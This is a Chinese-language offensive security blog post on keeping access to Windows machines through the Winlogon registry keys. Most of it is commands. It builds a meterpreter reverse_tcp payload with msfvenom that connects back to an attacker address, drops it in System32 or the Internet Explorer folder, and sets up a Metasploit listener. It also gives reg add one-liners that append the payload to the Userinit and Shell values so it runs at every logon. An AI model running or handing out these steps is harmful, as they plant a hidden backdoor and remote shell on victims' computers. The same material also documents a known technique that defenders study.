Windows权限维持之WinLogon

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

简介

Windows Logon Process(即winlogon.exe),是Windows用户登陆程序,它处理各种活动,例如登录、注销、在身份验证期间加载用户配置文件,关闭,锁定屏幕等。

这种行为由注册表管理,该注册表定义了在Windows登录期间启动哪些进程。

注册表项

1
2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

利用过程

Userinit

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

首先,利用msfvenom生成payload。

1
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.144.174 LPORT=5353 -f exe > logon.exe

生成的payload需要放入C:\Windows\System32\中,修改注册表项“ Userinit ”。这样,在Windows重新登录期间,可以同时运行这两个可执行文件:userinit.exe 与 logon.exe。

image-20200114192840427

Metasploit启用监听,当目标操作系统注销、重启等,Session就会上线。

1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 5353
msf5 exploit(multi/handler) > run -j

Winlogon

Shell

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

同样,利用msfvenom生成payload。

1
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.144.174 LPORT=5353 -f exe > logon.exe

生成的payload放入C:\Program Files\Internet Explorer\中,修改注册表项“ Shell ”。系统重新登录期间,同时运行这两个可执行文件:explorer.exe 与 logon.exe。

Metasploit启用监听,当目标操作系统注销、重启等,Session就会上线。

1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 5353
msf5 exploit(multi/handler) > run -j

image-20200115110116268

拓展

可以直接在命令行中对注册表进行设置,修改ShellUserinit注册表项。

1
2
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe,logon.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe,logon.exe" /f
image-20200115114130194